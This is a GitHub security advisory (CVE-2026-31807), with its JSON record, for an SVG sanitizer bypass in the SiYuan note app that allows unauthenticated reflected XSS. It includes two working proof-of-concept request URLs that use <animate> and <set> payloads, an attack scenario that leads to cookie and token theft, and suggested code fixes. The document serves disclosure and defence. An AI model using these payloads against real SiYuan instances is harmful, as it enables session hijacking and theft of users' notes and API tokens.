GHSA-5HC8-QMG8-PW27
Vulnerability from github – Published: 2026-03-10 23:49 – Updated: 2026-03-10 23:49SVG Sanitizer Bypass via <animate> Element — Unauthenticated XSS
Summary
SiYuan's SVG sanitizer (SanitizeSVG) blocks dangerous elements (<script>, <iframe>, <foreignobject>) and removes on* event handlers and javascript: in href attributes. However, it does NOT block SVG animation elements (<animate>, <set>) which can dynamically set attributes to dangerous values at runtime, bypassing the static sanitization. This allows an attacker to inject executable JavaScript into the unauthenticated /api/icon/getDynamicIcon endpoint (type=8), creating a reflected XSS.
This is a bypass of the fix for CVE-2026-29183 (fixed in v3.5.9).
Affected Component
- File:
kernel/util/misc.go - Function:
SanitizeSVG()(lines 234-319) - Endpoint:
GET /api/icon/getDynamicIcon?type=8&content=...(unauthenticated) - Version: SiYuan <= 3.5.9
Root Cause
The sanitizer checks attributes on elements at parse time. SVG <animate> and <set> elements modify attributes at runtime — these elements are not in the sanitizer's blocklist.
Sanitizer's blocklist (line 250)
if tag == "script" || tag == "iframe" || tag == "object" || tag == "embed" || tag == "foreignobject" {
n.RemoveChild(c)
// ...
}
Missing from blocklist: animate, set, animateTransform, animateMotion
Attribute check (lines 264-267)
// Only checks static attributes
if strings.HasPrefix(key, "on") {
continue
}
The <animate> element's values attribute contains the payload (javascript:...), but the sanitizer only checks for on* prefix, href, or xlink:href keys. The values, to, from, attributeName attributes are all passed through.
Proof of Concept
Vector 1: <animate> sets href to javascript:
GET /api/icon/getDynamicIcon?type=8&content=</text><a><animate attributeName="href" values="javascript:alert(document.domain)" begin="0s" fill="freeze"/><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue
After template rendering, the SVG contains:
<svg ...>
<text ...></text>
<a>
<animate attributeName="href" values="javascript:alert(document.domain)" begin="0s" fill="freeze"/>
<text x="50%" y="80%" fill="red" style="font-size:60px">Click me</text>
</a>
<text></text>
</svg>
The sanitizer passes this through because:
1. <animate> is not in the element blocklist
2. attributeName="href" — key is attributename, doesn't start with on, not href itself
3. values="javascript:..." — key is values, not href
When the SVG is rendered in the browser (navigating directly to the URL), <animate> sets the parent <a> element's href to javascript:alert(document.domain). Clicking "Click me" triggers the JavaScript.
Vector 2: <set> modifies event handlers
GET /api/icon/getDynamicIcon?type=8&content=</text><set attributeName="onmouseover" to="alert(document.domain)"/><text>&color=blue
The <set> element dynamically adds an onmouseover event handler to the parent element at runtime.
Attack Scenario
- Attacker crafts a malicious
getDynamicIconURL with XSS payload - Attacker sends the URL to a victim who has an active SiYuan session
- Victim clicks/navigates to the URL
- SVG renders with Content-Type
image/svg+xml— browser renders as standalone SVG document - JavaScript executes in the SiYuan server's origin
- Attacker steals session cookies, API tokens, or makes authenticated API calls to read/modify notes
Impact
- Severity: CRITICAL (CVSS ~9.1)
- Type: CWE-79 (Improper Neutralization of Input During Web Page Generation)
- Unauthenticated reflected XSS via SVG injection
- Executes in the SiYuan application origin, giving full access to authenticated APIs
- Can chain to: data exfiltration, note modification, configuration theft (API tokens, auth codes)
- Bypasses the fix for CVE-2026-29183
Suggested Fix
Add animation elements to the sanitizer blocklist:
// In SanitizeSVG, line 250:
if tag == "script" || tag == "iframe" || tag == "object" || tag == "embed" ||
tag == "foreignobject" || tag == "animate" || tag == "set" ||
tag == "animatetransform" || tag == "animatemotion" {
n.RemoveChild(c)
c = next
continue
}
Or additionally check the values, to, and from attributes for javascript: patterns:
if key == "values" || key == "to" || key == "from" {
if strings.Contains(val, "javascript:") {
continue
}
}
Also consider checking attributeName — if it targets href, xlink:href, or any on* attribute, the animation element should be removed entirely.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260310025236-297bd526708f"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-31807"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-10T23:49:23Z",
"nvd_published_at": "2026-03-10T21:16:50Z",
"severity": "MODERATE"
},
"details": "# SVG Sanitizer Bypass via `\u003canimate\u003e` Element \u2014 Unauthenticated XSS\n\n## Summary\n\nSiYuan\u0027s SVG sanitizer (`SanitizeSVG`) blocks dangerous elements (`\u003cscript\u003e`, `\u003ciframe\u003e`, `\u003cforeignobject\u003e`) and removes `on*` event handlers and `javascript:` in `href` attributes. However, it does NOT block SVG animation elements (`\u003canimate\u003e`, `\u003cset\u003e`) which can dynamically set attributes to dangerous values at runtime, bypassing the static sanitization. This allows an attacker to inject executable JavaScript into the unauthenticated `/api/icon/getDynamicIcon` endpoint (type=8), creating a reflected XSS.\n\nThis is a bypass of the fix for CVE-2026-29183 (fixed in v3.5.9).\n\n## Affected Component\n\n- **File:** `kernel/util/misc.go`\n- **Function:** `SanitizeSVG()` (lines 234-319)\n- **Endpoint:** `GET /api/icon/getDynamicIcon?type=8\u0026content=...` (unauthenticated)\n- **Version:** SiYuan \u003c= 3.5.9\n\n## Root Cause\n\nThe sanitizer checks attributes on elements at **parse time**. SVG `\u003canimate\u003e` and `\u003cset\u003e` elements modify attributes **at runtime** \u2014 these elements are not in the sanitizer\u0027s blocklist.\n\n### Sanitizer\u0027s blocklist (line 250)\n\n```go\nif tag == \"script\" || tag == \"iframe\" || tag == \"object\" || tag == \"embed\" || tag == \"foreignobject\" {\n n.RemoveChild(c)\n // ...\n}\n```\n\nMissing from blocklist: `animate`, `set`, `animateTransform`, `animateMotion`\n\n### Attribute check (lines 264-267)\n\n```go\n// Only checks static attributes\nif strings.HasPrefix(key, \"on\") {\n continue\n}\n```\n\nThe `\u003canimate\u003e` element\u0027s `values` attribute contains the payload (`javascript:...`), but the sanitizer only checks for `on*` prefix, `href`, or `xlink:href` keys. The `values`, `to`, `from`, `attributeName` attributes are all passed through.\n\n## Proof of Concept\n\n### Vector 1: `\u003canimate\u003e` sets `href` to `javascript:`\n\n```\nGET /api/icon/getDynamicIcon?type=8\u0026content=\u003c/text\u003e\u003ca\u003e\u003canimate attributeName=\"href\" values=\"javascript:alert(document.domain)\" begin=\"0s\" fill=\"freeze\"/\u003e\u003ctext x=\"50%25\" y=\"80%25\" fill=\"red\" style=\"font-size:60px\"\u003eClick me\u003c/text\u003e\u003c/a\u003e\u003ctext\u003e\u0026color=blue\n```\n\nAfter template rendering, the SVG contains:\n```xml\n\u003csvg ...\u003e\n \u003ctext ...\u003e\u003c/text\u003e\n \u003ca\u003e\n \u003canimate attributeName=\"href\" values=\"javascript:alert(document.domain)\" begin=\"0s\" fill=\"freeze\"/\u003e\n \u003ctext x=\"50%\" y=\"80%\" fill=\"red\" style=\"font-size:60px\"\u003eClick me\u003c/text\u003e\n \u003c/a\u003e\n \u003ctext\u003e\u003c/text\u003e\n\u003c/svg\u003e\n```\n\nThe sanitizer passes this through because:\n1. `\u003canimate\u003e` is not in the element blocklist\n2. `attributeName=\"href\"` \u2014 key is `attributename`, doesn\u0027t start with `on`, not `href` itself\n3. `values=\"javascript:...\"` \u2014 key is `values`, not `href`\n\nWhen the SVG is rendered in the browser (navigating directly to the URL), `\u003canimate\u003e` sets the parent `\u003ca\u003e` element\u0027s `href` to `javascript:alert(document.domain)`. Clicking \"Click me\" triggers the JavaScript.\n\n### Vector 2: `\u003cset\u003e` modifies event handlers\n\n```\nGET /api/icon/getDynamicIcon?type=8\u0026content=\u003c/text\u003e\u003cset attributeName=\"onmouseover\" to=\"alert(document.domain)\"/\u003e\u003ctext\u003e\u0026color=blue\n```\n\nThe `\u003cset\u003e` element dynamically adds an `onmouseover` event handler to the parent element at runtime.\n\n## Attack Scenario\n\n1. Attacker crafts a malicious `getDynamicIcon` URL with XSS payload\n2. Attacker sends the URL to a victim who has an active SiYuan session\n3. Victim clicks/navigates to the URL\n4. SVG renders with Content-Type `image/svg+xml` \u2014 browser renders as standalone SVG document\n5. JavaScript executes in the SiYuan server\u0027s origin\n6. Attacker steals session cookies, API tokens, or makes authenticated API calls to read/modify notes\n\n## Impact\n\n- **Severity:** CRITICAL (CVSS ~9.1)\n- **Type:** CWE-79 (Improper Neutralization of Input During Web Page Generation)\n- Unauthenticated reflected XSS via SVG injection\n- Executes in the SiYuan application origin, giving full access to authenticated APIs\n- Can chain to: data exfiltration, note modification, configuration theft (API tokens, auth codes)\n- Bypasses the fix for CVE-2026-29183\n\n## Suggested Fix\n\nAdd animation elements to the sanitizer blocklist:\n\n```go\n// In SanitizeSVG, line 250:\nif tag == \"script\" || tag == \"iframe\" || tag == \"object\" || tag == \"embed\" ||\n tag == \"foreignobject\" || tag == \"animate\" || tag == \"set\" ||\n tag == \"animatetransform\" || tag == \"animatemotion\" {\n n.RemoveChild(c)\n c = next\n continue\n}\n```\n\nOr additionally check the `values`, `to`, and `from` attributes for `javascript:` patterns:\n\n```go\nif key == \"values\" || key == \"to\" || key == \"from\" {\n if strings.Contains(val, \"javascript:\") {\n continue\n }\n}\n```\n\nAlso consider checking `attributeName` \u2014 if it targets `href`, `xlink:href`, or any `on*` attribute, the animation element should be removed entirely.",
"id": "GHSA-5hc8-qmg8-pw27",
"modified": "2026-03-10T23:49:23Z",
"published": "2026-03-10T23:49:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-5hc8-qmg8-pw27"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31807"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.5.10"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "SiYuan has a SVG Sanitizer Bypass via `\u003canimate\u003e` Element \u2014 Unauthenticated XSS"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.